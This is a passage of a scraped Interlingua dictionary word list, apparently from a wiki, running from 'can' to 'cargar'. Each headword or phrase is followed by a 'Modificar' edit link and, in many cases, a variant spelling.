lupoModificar can malteseModificar can maltese can masculeModificar can masculo can policiariModificar can policiario can rabioseModificar can rabioso can tigrateModificar can tigrato can trufariModificar can trufario can vagabundeModificar can vagabundo can vigilanteModificar can vigileModificar canaModificar cana in calorModificar CanaanModificar canaanitaModificar cananita [le \/ la CanadaModificar Canada es un pais biculturalModificar canadianModificar canadiano(s) \/ canadiana(s) canadianismoModificar canadianoModificar canadiano anglophoneModificar canadiano anglophono canalModificar canal adductorModificar canal alimentariModificar canal alimentario canal audioModificar canal biliariModificar canal biliario canal cibariModificar canal cibario canal circularModificar canal cysticModificar canal cystico canal de adductionModificar canal de cincturaModificar canal de communicationModificar canal de derivationModificar canal de disaquamentoModificar canal de distributionModificar canal de escolamentoModificar canal de inundationModificar canal de irrigationModificar canal de junctionModificar canal de navigationModificar Canal de PanamaModificar canal de televisionModificar canal de un polderModificar canal de ventilationModificar canal deferenteModificar Canal del Mar del NordModificar Canal del \/ de_la Mar del Nord canal del Rhodano al RhenoModificar canal dentariModificar canal dentario canal digerenteModificar canal digestiveModificar canal digestivo canal dualModificar canal ejaculatoriModificar canal ejaculatorio canal exteriorModificar canal fetideModificar canal fetido canal galactophoreModificar canal gastrointestinalModificar canal hepaticModificar canal hepatico canal inguinalModificar canal innavigabileModificar canal interiorModificar canal interoceanicModificar canal interoceanico canal intestinalModificar canal irrigatoriModificar canal irrigatorio canal lacrimalModificar canal lateralModificar canal maritimeModificar canal maritimo canal medullarModificar canal pancreaticModificar canal pancreatico canal parallelModificar canal parallelo canal periphericModificar canal peripherico canal piscoseModificar canal piscoso canal principalModificar canal rachidee \/ rhachideeModificar canal rachideo \/ rhachideo canal secundariModificar canal secundario canal seminifereModificar canal seminifero canal spinalModificar canal televisiveModificar canal televisivo canal transversalModificar canal vertebralModificar canales de AmsterdamModificar canales semicircularModificar canales semicirculares canaliaModificar canaliculoModificar canaliescModificar canaliesco(s) \/ canaliesca(s) canaliformeModificar canaliforme(s) canalisabileModificar canalizabile(s) canalisarModificar canalizar canalisationModificar canalization canalisatorModificar canalizator canangaModificar canapé [F]Modificar canariModificar canario(s) \/ canaria(s) CanariaModificar CanariasModificar canariculturaModificar canarioModificar canastaModificar cancan [F]Modificar cancellabileModificar cancellabile(s) cancellamentoModificar cancellarModificar cancellar actionesModificar cancellar del memoriaModificar cancellar de la memoria cancellar un appunctamentoModificar cancellar un chequeModificar cancellar un concertoModificar cancellar un contoModificar cancellar un debitaModificar cancellar una debita cancellar un hypothecaModificar cancellar una hypotheca cancellar un perditaModificar cancellar una perdita cancellar un phraseModificar cancellar una phrase cancellar un reunionModificar cancellar una reunion cancellar un viageModificar cancellationModificar cancellation de un debitaModificar cancellation de una debita cancellation de un reunionModificar cancellation de una reunion cancellatorModificar cancelleriaModificar cancelleria apostolicModificar cancelleria apostolica cancelleroModificar cancellero federalModificar cancelloModificar cancereModificar cancere cervicalModificar cancere cutaneeModificar cancere cutaneo cancere de esophagoModificar cancere de ficatoModificar cancere del collo del uteroModificar cancere del collo uterinModificar cancere del collo uterino cancere del ficatoModificar cancere del hepateModificar cancere del intestinoModificar cancere del laryngeModificar cancere de la larynge cancere del mammaModificar cancere de la mamma cancere del medulla osseeModificar cancere de la medulla ossea cancere del medulla ossoseModificar cancere de la medulla ossosa cancere del pectoreModificar cancere del pelleModificar cancere de la pelle cancere del prostataModificar cancere de la prostata cancere del pulmon(es)Modificar cancere del_pulmon \/ de_los_pulmones cancere del renModificar cancere del sanguineModificar cancere del stomachoModificar cancere del vesicaModificar cancere de la vesica cancere del vesiculaModificar cancere de la vesicula cancere gastricModificar cancere gastrico cancere hepaticModificar cancere hepatico cancere incipienteModificar cancere intestinalModificar cancere labialModificar cancere lingualModificar cancere mammariModificar cancere mammario cancere pulmonarModificar cancere saxatileModificar cancere stomachalModificar canceriformeModificar canceriforme(s) cancerisar (se)Modificar cancerizar (se) cancerisationModificar cancerization cancerogeneModificar cancerogeno(s) \/ cancerogena(s) cancerogenoModificar cancerologiaModificar cancerologicModificar cancerologico(s) \/ cancerologica(s) cancerologoModificar cancerophobiaModificar canceroseModificar canceroso(s) \/ cancerosa(s) candelaModificar candela accenditoriModificar candela accenditoria candela baptismalModificar candela de ceraModificar candela de palmitinaModificar candela de paraffinModificar candela de seboModificar candela de stearModificar candela de stearinaModificar candela decorativeModificar candela decorativa candela fumoseModificar candela fumosa candela ornamentalModificar candela paschalModificar candela punctate \/ punctuteModificar candela punctata \/ punctuta candela stearicModificar candela stearica candelabroModificar candelabro a septe brancasModificar candelabro hebraic a \/ de septe braciosModificar candelabro hebraico a \/ de septe bracios candelieroModificar candeliformeModificar candeliforme(s) candidar seModificar candidar se al electiones del consilio communalModificar candidar se a las electiones del consilio communal candidatoModificar candidato al presidentiaModificar candidato a la presidentia candidato al thronoModificar candidato approbateModificar candidato approbato candidato centristaModificar candidato del partito adverseModificar candidato del partito adverso candidato eligibileModificar candidato officialmente designateModificar candidato officialmente designato candidato potentialModificar candidato principalModificar candidato pro le consilio municipalModificar candidaturaModificar candidatura al thronoModificar candidatura dupleModificar candidatura dupla candidatura pro le consilio municipalModificar candideModificar candido(s) \/ candida(s) candidessaModificar candiotaModificar candiota adj, sub [le \/ la candirModificar candir vb canditeModificar candito(s) \/ candita(s) canditorModificar candituraModificar candorModificar candor infantinModificar candor infantin \/ infantino candor virginalModificar canephoraModificar canes venatoriModificar canes venatorios canettoModificar canetto de gremioModificar canetto tonkineseModificar canetto tonkinese canevasModificar canevas [le Canicula [Astr]Modificar caniculaModificar canicularModificar canicular(es) caniculoModificar canidesModificar canides [los canilModificar canil [le caninModificar canino(s) \/ canina(s) canitieModificar canitie [la cannaModificar canna a \/ de lancearModificar canna a \/ de piscaModificar canna a \/ de pisca telescopicModificar canna a \/ de pisca telescopica canna blanc del cecoModificar canna blanca del ceco canna de bambuModificar canna de IndiaModificar canna de juncoModificar canna de piscarModificar canna de piscar telescopicModificar canna de piscar telescopica canna de sucroModificar canna de TonkinModificar canna indicModificar canna indica cannabe = cannabisModificar cannabe de ManilaModificar cannabis de ManilaModificar cannabe nederlandeseModificar cannabe nederlandesa cannabis nederlandeseModificar cannabis nederlandesa cannaberoModificar cannabicModificar cannabico(s) \/ cannabica(s) cannabieraModificar cannabinaceaModificar cannabismoModificar cannaceasModificar cannageModificar cannarModificar cannateModificar cannato(s) \/ cannata(s) cannatorModificar cannellaModificar cannella in barrasModificar cannella in bastonesModificar cannella in pulvereModificar cannellarModificar cannellar cartonModificar cannellateModificar cannellato(s) \/ cannellata(s) cannellaturaModificar cannellatura de un colonnaModificar cannellatura de una colonna cannellatura de un columnaModificar cannellatura de una columna cannellatura de un poleaModificar cannellatura de una polea cannellieroModificar cannetoModificar cannibalModificar cannibal [le \/ la cannibalescModificar cannibalesco(s) \/ cannibalesca(s) cannibalisarModificar cannibalizar cannibalisar un vetule auto \/ automobileModificar cannibalizar un vetulo auto \/ automobile cannibalisationModificar cannibalization cannibalismoModificar cannonModificar cannon a \/ de aquaModificar cannon a electronesModificar cannon antiaereeModificar cannon antiaereo cannon antitankModificar cannon atomicModificar cannon atomico cannon de fusilModificar cannon electronicModificar cannon electronico cannon laserModificar cannon navalModificar cannonadaModificar cannonarModificar cannoneraModificar cannoneriaModificar cannoneroModificar cannones antiaereeModificar cannones antiaereos cannonieraModificar cannulaModificar cannula de lavamentoModificar cannularModificar canoaModificar canoa pneumaticModificar canoa pneumatica canoageModificar canoarModificar canoeroModificar canoismoModificar canoistaModificar cañon [E]Modificar canoneModificar canone retrogradeModificar canone retrogrado canonessaModificar canonicModificar canonico(s) \/ canonica(s) canonicalModificar canonical(es) canonicatoModificar canonicitateModificar canonicitate de un textoModificar canonicoModificar canonisabileModificar canonizabile(s) canonisarModificar canonizar canonisationModificar canonization canonistaModificar canopoModificar canorModificar canoro(s) \/ canora(s) canoritateModificar canotaModificar canota a \/ de remosModificar canotageModificar canotarModificar canoteroModificar cantabileModificar cantabile(s) cantalupoModificar cantarModificar cantar a cappellaModificar cantar abominabilementeModificar cantar como un rossinioloModificar cantar falseModificar cantar falso cantar in falsettoModificar cantar in playbackModificar cantar in tono basseModificar cantar in tono basso cantar le gradualModificar cantar le laudes del SeniorModificar cantar las laudes del Senior cantar le palinodiaModificar cantar la palinodia cantar le recitativoModificar cantar monotonementeModificar cantar monotonamente cantar pro addormir un personaModificar cantar pro addormir una persona cantar psalmosModificar cantar tote le repertorioModificar cantar toto le repertorio cantar un soloModificar cantar victoriaModificar cantataModificar cantata choralModificar cantata con choroModificar cantata de NatalModificar cantata pro voces infantilModificar cantata pro voces infantiles cantatas de Bach pro organo concertanteModificar cantatorModificar cantator ambulanteModificar cantator de ecclesiaModificar cantator de rock (and roll)Modificar cantator negroModificar cantator popModificar cantator professionalModificar cantator telegenicModificar cantator telegenico cantatriceModificar cantharelloModificar cantharideModificar cantharide [la cantharidinaModificar canthusModificar canticoModificar cantico de allegressaModificar cantico de NatalModificar Cantico del VirgineModificar Cantico de la Virgine cantico paschalModificar cantierModificar cantier [le cantier de carpenteroModificar cantier de construction(es)Modificar cantier de demolition(es)Modificar cantier navalModificar cantilenaModificar cantilena de Sancte EulaliaModificar cantilena de Sancta Eulalia cantileverModificar cantilever adj inv cantinaModificar cantina ambulanteModificar cantina de fabricaModificar cantina de officierosModificar cantina del subofficierosModificar cantina de los subofficieros cantina mobileModificar cantina scholarModificar cantineroModificar cantionModificar Cantion de RolandoModificar cantionettaModificar cantoModificar canto a biberModificar canto a tres vocesModificar canto alternateModificar canto alternato canto alternativeModificar canto alternativo canto ambrosianModificar canto ambrosiano canto amoroseModificar canto amoroso canto antiphonalModificar canto antiphonicModificar canto antiphonico canto artisticModificar canto artistico canto bacchicModificar canto bacchico canto bardicModificar canto bardico canto bellicModificar canto bellico canto bucolicModificar canto bucolico canto burlescModificar canto burlesco canto choralModificar canto de alaudaModificar canto de amorModificar canto de benvenitaModificar canto de cabaretModificar canto de campoModificar canto de coturniceModificar canto de cunaModificar canto de gaudioModificar Canto de gestaModificar canto de guerraModificar canto de joiaModificar canto de kermesseModificar canto de laudeModificar canto de marchaModificar canto de merlaModificar canto de NatalModificar canto de negrosModificar canto de pentecosteModificar canto de primaveraModificar canto de qualiaModificar canto de rossinioloModificar canto de Sancte NicolausModificar canto de Sancto Nicolaus canto de seraphimModificar canto de telaModificar canto de triumphoModificar canto de turdoModificar canto de victoriaModificar canto del avesModificar canto de las aves canto del bardosModificar canto de los bardos canto del choroModificar canto del cygnoModificar canto del galloModificar canto del pincionModificar canto del ventoModificar canto ecclesiasticModificar canto ecclesiastico canto epithalamieModificar canto epithalamio canto finalModificar canto funebreModificar canto gregorianModificar canto gregoriano canto guerrierModificar canto guerriero canto harmonioseModificar canto harmonioso canto infantilModificar canto infantinModificar canto infantino canto insultanteModificar canto intercalateModificar canto intercalato canto intermediariModificar canto intermediario canto lacrimogeneModificar canto lacrimogeno canto marialModificar canto matinalModificar canto melodramaticModificar canto melodramatico canto monasticModificar canto monastico canto nostalgicModificar canto nostalgico canto nuptialModificar canto planModificar canto plano canto planctiveModificar canto planctivo canto popModificar canto popularModificar canto primaveralModificar canto pro choroModificar canto profanModificar canto profano canto religioseModificar canto religioso canto sacrateModificar canto sacrato canto satiricModificar canto satirico canto scholarModificar canto secularModificar canto sentimentalModificar canto synagogalModificar canto triumphalModificar canto ultragioseModificar canto ultragioso canto vernalModificar CantonModificar cantonModificar canton [le cantonalModificar cantonal(es) cantonamentoModificar cantonarModificar cantonar soldatos in un villageModificar cantoneseModificar cantonese(s) \/ cantonesa(s) cantonneroModificar cantorModificar cantor de ecclesiaModificar cantor negroModificar cantor professionalModificar cantor wagnerianModificar cantor wagneriano cantos bucolicModificar cantos bucolicos cantos devoteModificar cantos devotos cantos joioseModificar cantos joiosos cantos liturgicModificar cantos liturgicos cantos napolitanModificar cantos napolitanos cantos patrioticModificar cantos patrioticos cantos ritualModificar cantos rituales cantos scabroseModificar cantos scabrosos canzone [I]Modificar canzone [la canzonettaModificar capabileModificar capabile(s) capabilitateModificar capaceModificar capace(s) capace de applicationModificar capace de sacrificioModificar capacitantiaModificar capacitateModificar capacitate absorbenteModificar capacitate adhesiveModificar capacitate adhesiva capacitate ascensionalModificar capacitate calorificModificar capacitate calorifica capacitate creativeModificar capacitate creativa capacitate creatorModificar capacitate creatrice capacitate de absorptionModificar capacitate de adsorptionModificar capacitate de cargaModificar capacitate de compraModificar capacitate de improvisationModificar capacitate de laborModificar capacitate de mathematicaModificar capacitate de productionModificar capacitate de reagerModificar capacitate de regenerationModificar capacitate de resistentiaModificar capacitate de resolutionModificar capacitate de stockageModificar capacitate de travalioModificar capacitate de un hospitalModificar capacitate del ascensorModificar capacitate del liftModificar capacitate del pumpaModificar capacitate de la pumpa capacitate elevatoriModificar capacitate elevatoria capacitate excessiveModificar capacitate excessiva capacitate inspiratoriModificar capacitate inspiratoria capacitate limiteModificar capacitate maximeModificar capacitate maxima capacitate organisativeModificar capacitate organizativa capacitate penetrative de un projectilModificar capacitate penetrativa de un projectil capacitate persuasiveModificar capacitate persuasiva capacitate portanteModificar capacitate productorModificar capacitate productrice capacitate pulmonarModificar capacitate refrigeranteModificar capacitate regenerativeModificar capacitate regenerativa capacitate suasiveModificar capacitate suasiva capacitate thermalModificar capacitate thoracicModificar capacitate thoracica capacitates intellectualModificar capacitates intellectuales capacitiveModificar capacitivo(s) \/ capacitiva(s) caperModificar caper le attentionModificar caper la attention capernaitaModificar CapernaumModificar CapharnaumModificar Capet [F]Modificar capetianModificar capetiano(s) \/ capetiana(s) capetianoModificar capillaceeModificar capillaceo(s) \/ capillacea(s) capillarModificar capillar(es) capillariaModificar capillarisarModificar capillarizar capillaritateModificar capillaritisModificar capillaroscopiaModificar capillaturaModificar capillatura abundanteModificar capillatura exuberanteModificar capillatura rarModificar capillatura rara capillatura spisseModificar capillatura spissa capilloModificar capillos argentateModificar capillos argentatos capillos blondeModificar capillos blondes \/ blondos capillos brunModificar capillos brunos capillos cinereeModificar capillos cinereos capillos de angeloModificar capillos de negroModificar capillos de un color indeterminabileModificar capillos de un(a) color indeterminabile capillos flottanteModificar capillos flottantes capillos hirsuteModificar capillos hirsutos capillos in brossaModificar capillos inrolate in nodoModificar capillos inrolatos in nodo capillos lanoseModificar capillos lanosos capillos posticieModificar capillos posticios capillos rebelleModificar capillos rebelles capillos undulateModificar capillos undulatos capilluteModificar capilluto(s) \/ capilluta(s) capistroModificar capitalModificar capital adj, sub [le \/ la capital actionariModificar capital actionario capital autorisateModificar capital autorizato capital circulanteModificar capital con interessesModificar capital de depositoModificar capital de exploitationModificar capital de fundationModificar capital de garantiaModificar capital de productionModificar capital de reservaModificar capital de riscoModificar capital de speculationModificar capital del provinciaModificar capital de la provincia capital federalModificar capital fixateModificar capital fixato \/ fixata capital fixeModificar capital fixo capital flottanteModificar capital improductiveModificar capital improductivo capital in actionesModificar capital in librosModificar capital in obligationesModificar capital inactiveModificar capital inactivo capital initialModificar capital nationalModificar capital nominalModificar capital privateModificar capital privato capital productiveModificar capital productivo capital provincialModificar capital russeModificar capital russa \/ russo capital socialModificar capital speculativeModificar capital speculativo capital subscribiteModificar capital subscribito capital versateModificar capital versato capitales infructifereModificar capitales infructiferos capitales investibileModificar capitales investibiles capitalisabileModificar capitalizabile(s) capitalisarModificar capitalizar capitalisar le interessesModificar capitalizar los interesses capitalisationModificar capitalization capitalismoModificar capitalismo de statoModificar capitalistaModificar capitalisticModificar capitalistico(s) \/ capitalistica(s) capitanarModificar capitaniaModificar capitanoModificar capitano de cavalleriaModificar capitano de corvettaModificar capitano de fregataModificar capitano de industriaModificar capitano de naveModificar capitano de portoModificar capitano de reservaModificar capitano de un remolcatorModificar capitano de vascelloModificar capitano del equipaModificar capitano de la equipa capitano del marina mercanteModificar capitano de la marina mercante capitano del portoModificar capitano del porto capitano mercanteModificar capitateModificar capitato(s) \/ capitata(s) capitationModificar capiteModificar capite [la capite a duple facieModificar capite a dupla facie capite atomicModificar capite atomica capite calveModificar capite calva capite caveModificar capite cava capite coronateModificar capite coronata capite cruciformeModificar capite de allioModificar capite de aveModificar capite de biellaModificar capite de bulonModificar capite de cabestanModificar capite de cachaloteModificar capite de canModificar capite de ChristoModificar capite de clavoModificar capite de clownModificar capite de cygnoModificar capite de delphinoModificar capite de draconModificar capite de familiaModificar capite de infanteModificar capite de JanoModificar capite de lactucaModificar capite de lectoModificar capite de leonModificar capite de litteraModificar capite de mortoModificar capite de oveModificar capite de papagaiModificar capite de pisceModificar capite de ponteModificar capite de porcoModificar capite de pupaModificar capite de ranaModificar capite de riveteModificar capite de satyroModificar capite de serpenteModificar capite de spinulaModificar capite de statoModificar capite de un flammiferoModificar capite de viteModificar capite de vite cruciformeModificar capite de vitelloModificar capite de vulpeModificar capite del aguliaModificar capite de la agulia capite del femoreModificar capite del humeroModificar capite del martelloModificar capite del pelotonModificar capite equinModificar capite equina capite hexagonalModificar capite laureeModificar capite laurea capite leoninModificar capite leonina capite nuclearModificar capite punctate \/ punctuteModificar capite punctata \/ punctuta capite scabioseModificar capite scabiosa capite tonsurateModificar capite tonsurata capitelloModificar capitello corinthieModificar capitello corinthio capitello doricModificar capitello dorico capitello ionicModificar capitello ionico capitieraModificar capitolinModificar capitolino(s) \/ capitolina(s) CapitolioModificar capitolioModificar capitularModificar capitulationModificar capitulation honorabileModificar capitulation inconditionalModificar capitulation sin conditionesModificar capituloModificar capitulo canonicalModificar capitulo collegialModificar capitulo generalModificar capitulo introductiveModificar capitulo introductivo capitulo provincialModificar capitulo recapitulativeModificar capitulo recapitulativo capitulos dividite in sectionesModificar capitulos dividitos in sectiones capoModificar Capo de Bon SperantiaModificar Capo de Bona Sperantia Capo de HornosModificar Capo NordModificar capo tempestuoseModificar capo tempestuoso Capo VerdeModificar caponModificar caponarModificar caponieraModificar caporalModificar caporal [le capoverdianModificar capoverdiano(s) \/ capoverdiana(s) capoverdianoModificar cappaModificar cappa purpureeModificar cappa purpurea cappellaModificar cappella absidalModificar cappella ardenteModificar cappella aulicModificar cappella aulica cappella conventualModificar cappella de castelloModificar cappella de pelegrinageModificar cappella de peregrinationModificar cappella de un conventoModificar cappella de un monasterioModificar cappella del beguinageModificar cappella expiatoriModificar cappella expiatoria cappella funebreModificar cappella funerariModificar cappella funeraria cappella lateralModificar cappella monasterialModificar cappella mortuariModificar cappella mortuaria cappella palatinModificar cappella palatina cappella pontificalModificar Cappella SixtinModificar Cappella Sixtina cappella surmontate de un domoModificar cappella surmontata de un domo cappellaniaModificar cappellanoModificar cappellano de casaModificar cappellano del corteModificar cappellano de la corte cappellano domesticModificar cappellano domestico cappellano privateModificar cappellano privato cappelleriaModificar cappelleroModificar cappellettoModificar cappellieraModificar cappellinaModificar cappelloModificar cappello abominabileModificar cappello cardinalicieModificar cappello cardinalicio cappello coquetteModificar cappello coquette \/ coquetto cappello cylindroModificar cappello de cardinalModificar cappello de castorModificar cappello de curatoModificar cappello de feltroModificar cappello de feminaModificar cappello de modaModificar cappello de modioloModificar cappello de paleaModificar cappello de pelegrino \/ peregrinoModificar cappello de pelliciaModificar cappello de plagiaModificar cappello de prestreModificar cappello de pupaModificar cappello de solModificar cappello de un fungoModificar cappello dismodateModificar cappello dismodato cappello flexibileModificar cappello horribileModificar cappello implumateModificar cappello implumato cappello molleModificar cappello punctate \/ punctuteModificar cappello punctato \/ punctuto cappello scoutModificar capperoModificar cappottaModificar cappottoModificar cappuciettoModificar Cappucietto RubieModificar Cappucietto Rubio Cappucietto Rubie e le lupo feroceModificar Cappucietto Rubio e \/ et le lupo feroce cappucinaModificar cappucinoModificar cappucioModificar cappucio de plasticModificar cappucio de plastico capraModificar capra alpinModificar capra alpina capra angoraModificar caprellaModificar capreolaModificar capreolettoModificar capreoloModificar capreroModificar caprettoModificar capricModificar caprico(s) \/ caprica(s) capricioModificar capricio(s) del modaModificar capricio(s) de la moda capricio del naturaModificar capricio de la natura capricio(s) del sorteModificar capricio(s) de la sorte capricios del fortunaModificar capricios de la fortuna capricioseModificar capricioso(s) \/ capriciosa(s) capriciositateModificar CapricornoModificar capricornoModificar capricorno muscateModificar capricorno muscato caprificarModificar caprificationModificar caprifigoModificar caprifoliaceasModificar caprifolioModificar caprilModificar capril [le caprimulgoModificar caprinModificar caprino(s) \/ caprina(s) capriolaModificar caproModificar capro expiatoriModificar capro expiatorio caproicModificar caproico(s) \/ caproica(s) caprylicModificar caprylico(s) \/ caprylica(s) capsellaModificar capsicoModificar capsulaModificar capsula a viteModificar capsula articularModificar capsula de cartuchaModificar capsula de clausuraModificar capsula de dosageModificar capsula de \/del papavereModificar capsula del crystallinoModificar capsula del renModificar capsula dosatorModificar capsula dosatrice capsula dosator de un flaconModificar capsula dosatrice de un flacon capsula fulminanteModificar capsula incendiariModificar capsula incendiaria capsula microphonicModificar capsula microphonica capsula monolocularModificar capsula renalModificar capsula spatialModificar capsula sporifereModificar capsula sporifera capsula synovialModificar capsula unilocularModificar capsulageModificar capsularModificar capsular vb capsular bottilias al machinaModificar capsular bottilias a la machina capsulas suprarenalModificar capsulas suprarenales capsulatorModificar capsulator de \/ pro bottiliasModificar capsulator de \/ pro bottilias capsulifereModificar capsulifero(s) \/ capsulifera(s) captarModificar captar fiducia de un personaModificar captar fiducia de una persona captar le confidentiaModificar captar la confidentia captationModificar captionModificar captioseModificar captioso(s) \/ captiosa(s) captivarModificar captivar le attentionModificar captivar la attention captiveModificar captivo(s) \/ captiva(s) captivitateModificar captivitate babylonianModificar captivitate babyloniana captivitate de BabylonModificar captivitate del populo hebraicModificar captivitate del populo hebraico captivoModificar capturaModificar captura de ostage(s)Modificar captura de un criminalModificar capturabileModificar capturabile(s) capturarModificar capturar le attention del lectoresModificar capturar la attention de los lectores capturar robatoresModificar capturar un animalModificar capturar un robatorModificar capybaraModificar carModificar caro(s) \/ cara(s) carabinaModificar carabina a \/ de aere comprimiteModificar carabina a \/ de aere comprimito carabina de chassaModificar carabina pneumaticModificar carabina pneumatica carabineroModificar caraboModificar caracaModificar caracalModificar caracal [le caracolModificar caracol [le caracolarModificar caracolar vb caraganaModificar carambolaModificar carambolarModificar carambolinaModificar caramelisarModificar caramelizar caramelisationModificar caramelization caramelloModificar caramello al butyroModificar caramello amarModificar caramello amaro caramello contra le tusseModificar caramello contra la tusse caramello molleModificar carapaceModificar carapace [la carapace calcariModificar carapace calcaria carapace chitinoseModificar carapace chitinosa carapace corneeModificar carapace cornea carapace de un testudineModificar carapace de una testudine carapace de un tortucaModificar carapace de una tortuca carapace dorsalModificar carassioModificar carassio vulgarModificar caratModificar carat [le carat metricModificar carat metrico caravanaModificar caravana plicabileModificar caravana plicanteModificar caravana rolanteModificar caravaneroModificar caravanning [A]Modificar caravanseralioModificar caravellaModificar carbocationModificar carbochimiaModificar carbocyclicModificar carbocyclico(s) \/ carbocyclica(s) carboglycerinaModificar carbohemoglobinaModificar carbohydratoModificar carbolicModificar carbolico(s) \/ carbolica(s) carbonModificar carbon a gasModificar carbon activateModificar carbon activato carbon animalModificar carbon bituminoseModificar carbon bituminoso carbon blancModificar carbon blanco carbon de lignoModificar carbon de locomotivaModificar carbon de sucroModificar carbon extincteModificar carbon extincto carbon fossileModificar carbon fuliginoseModificar carbon fuliginoso carbon grasseModificar carbon grasso carbon magreModificar carbon magro carbon minuteModificar carbon minuto carbon non classificateModificar carbon non classificato carbon radioactiveModificar carbon radioactivo carbon secundariModificar carbon secundario carbon vegetalModificar carbon-14Modificar carbonadoModificar carbonado [le carbonatarModificar carbonatationModificar carbonatoModificar carbonato de ammoniumModificar carbonato de bariumModificar carbonato de calciumModificar carbonato de ferroModificar carbonato de kaliumModificar carbonato de magnesiumModificar carbonato de natriumModificar carbonato de plumboModificar carboneroModificar carbones ardenteModificar carbones ardentes carbones incandescenteModificar carbones incandescentes carbonicModificar carbonico(s) \/ carbonica(s) carbonieraModificar carbonifereModificar carbonífero(s) \/ carbonífera(s) carboniferoModificar carbonisarModificar carbonizar carbonisationModificar carbonization carbonoseModificar carbonoso(s) \/ carbonosa(s) carbonylModificar carbonyl [le carborundumModificar carbotherapiaModificar carboxylModificar carboxyl [le carboxylaseModificar carboxylase [la carboxylicModificar carboxylico(s) \/ carboxylica(s) carbuncularModificar carbuncular(es) carbunculoModificar carbunculoseModificar carbunculoso(s) \/ carbunculosa(s) carburanteModificar carburante [le carburarModificar carburationModificar carburatorModificar carburoModificar carburo de calciumModificar carburo metallicModificar carburo metallico carcassaModificar carcassa de \/ in acieroModificar carcassa de naveModificar carceolariaModificar carcerarModificar carcerariModificar carcerario carcerationModificar carceratoModificar carcerato politicModificar carcerato politico carcereModificar carcere cellularModificar carcere penalModificar carcere perpetueModificar carcere perpetuo carcereroModificar carcerologicModificar carcerologico(s) \/ carcerologica(s) carcinogeneModificar carcinogeno(s) \/ carcinogena(s) carcinolyse = carcinolysisModificar carcinolyticModificar carcinolytico(s) \/ carcinolytica(s) carcinolyticoModificar carcinomaModificar carcinoma de esophagoModificar carcinoma del ficatoModificar carcinoma del hepateModificar carcinoma del mammaModificar carcinoma de la mamma carcinoma del pulmon(es)Modificar carcinoma del_pulmon \/ de_los_pulmones carcinoma del uteroModificar carcinoma gastricModificar carcinoma gastrico carcinoma inoperabileModificar carcinoma mammariModificar carcinoma mammario carcinoma pulmonarModificar carcinomatoseModificar carcinomatoso(s) \/ carcinomatosa(s) carcinophobiaModificar cardaminaModificar cardamina amarModificar cardamina amara cardamina del pratoModificar cardamina flexuoseModificar cardamina flexuosa cardamina hirsuteModificar cardamina hirsuta cardamina pratenseModificar cardamomoModificar CardanModificar cardanModificar cardanicModificar cardanico(s) \/ cardanica(s) cardarModificar cardar drappoModificar cardataModificar cardatorModificar cardaturaModificar carderiaModificar cardiaModificar cardiacModificar cardiaco(s) \/ cardiaca(s) cardiacoModificar cardialModificar cardial(es) cardialgiaModificar cardialgicModificar cardialgico(s) \/ cardialgica(s) cardigan [A]Modificar cardinalModificar cardinal sub, adj cardinal(es) papabileModificar cardinal(es) papabile(s) cardinalatoModificar cardinalicieModificar cardinalicio(s) \/ cardinalicia(s) cardineModificar cardine [le cardine a resortoModificar cardine de \/ del portaModificar cardine de \/ de_la porta cardines del portaModificar cardines de la porta cardiocarpeModificar cardiocarpo(s) \/ cardiocarpa(s) cardiochirurgiaModificar cardiochirurgicModificar cardiochirurgico(s) \/ cardiochirurgica(s) cardiochirurgoModificar cardiogrammaModificar cardiogramma acusticModificar cardiogramma acustico cardiographiaModificar cardiographoModificar cardioideModificar cardioide [le cardiologiaModificar cardiologicModificar cardiologico(s) \/ cardiologica(s) cardiologoModificar cardiomegaliaModificar cardiopathaModificar cardiopathiaModificar cardiopetaleModificar cardiopetalo(s) \/ cardiopetala(s) cardioplegiaModificar cardiopulmonarModificar cardiopulmonar(es) cardiosclerose = cardiosclerosisModificar cardioscopioModificar cardiosepaleModificar cardiosepalo(s) \/ cardiosepala(s) cardiotomiaModificar cardiotonicModificar cardiotonico(s) \/ cardiotonica(s) cardiotonicoModificar cardiovascularModificar cardiovascular(es) carditisModificar cardoModificar cardoideModificar cardoide(s) adj cardueloModificar carduoModificar carduo crispeModificar carduo crispo carduo deflorateModificar carduo deflorato carentiaModificar carentia affectiveModificar carentia affectiva carentia de aquaModificar carentia de personalModificar carentia de vitaminasModificar carentia vitaminicModificar carentia vitaminica carentialModificar carential(es) carerModificar carer vb carer de convictionModificar caressaModificar caressarModificar caressar le capite de un infanteModificar caressar la capite de un infante caressar le cattoModificar caressar le testa de un infanteModificar caressar la testa de un infante caressar un infanteModificar caressas voluptuoseModificar caressas voluptuosas carex = cariceModificar carex = carice [la carex \/ carice arenariModificar carex \/ carice arenaria carex \/ carice elongateModificar carex \/ carice elongata carex \/ carice paniculateModificar carex \/ carice paniculata carex \/ carice pilulifereModificar carex \/ carice pilulifera carex \/ carice pulicariModificar carex \/ carice pulicaria carex \/ carice ripariModificar carex \/ carice riparia carex \/ carice rostrateModificar carex \/ carice rostrata carex \/ carice tomentoseModificar carex \/ carice tomentosa carex \/ carice trinerveModificar carex \/ carice trinerva carex \/ carice vesicariModificar carex \/ carice vesicaria carex \/ carice vulpinModificar carex \/ carice vulpina cargaModificar carga admissibileModificar carga affretateModificar carga affretata carga ardueModificar carga ardua carga atomicModificar carga atomica carga axialModificar carga con possibile contrabandoModificar carga de bayonettaModificar carga de carros de combattoModificar carga de cavalleriaModificar carga de dynamiteModificar carga de flancoModificar carga de gabarraModificar carga de lignoModificar carga de ministroModificar carga de prime ministroModificar carga de primo ministro carga de sacristaModificar carga de sacristanoModificar carga de tanksModificar carga de thesaureroModificar carga e discargaModificar carga e \/ et discarga carga electricModificar carga electrica carga electrostaticModificar carga electrostatica carga elementariModificar carga elementaria carga equilibrateModificar carga equilibrata carga explosiveModificar carga explosiva carga geneticModificar carga genetica carga honorificModificar carga honorifica carga hydrodynamicModificar carga hydrodynamica carga hydrostaticModificar carga hydrostatica carga nuclearModificar carga parcellariModificar carga parcellaria carga positiveModificar carga positiva carga punctualModificar carga salarialModificar cargalitterasModificar cargamentoModificar cargamento de avionesModificar cargamento de bombasModificar cargamento de viveresModificar cargapapirosModificar cargarModificar cargar e discargarModificar cargar e \/ et discargar cargar le \/ un accumulatorModificar cargar le conscientiaModificar cargar la conscientia cargar le pipaModificar cargar la pipa cargar le stomachoModificar cargar mercantiasModificar cargar mercesModificar cargar se deModificar cargar un cameraModificar cargar una camera cargar un fusilModificar cargar un naveModificar cargar una nave cargar un persona con le costosModificar cargar una persona con los costos cargar un persona con le responsabilitateModificar cargar una persona con la responsabilitate cargar un persona de occupar se del plantasModificar cargar una persona de occupar se de las plantas cargar un persona de reprochesModificar cargar una persona de reproches cargar un ponte pro 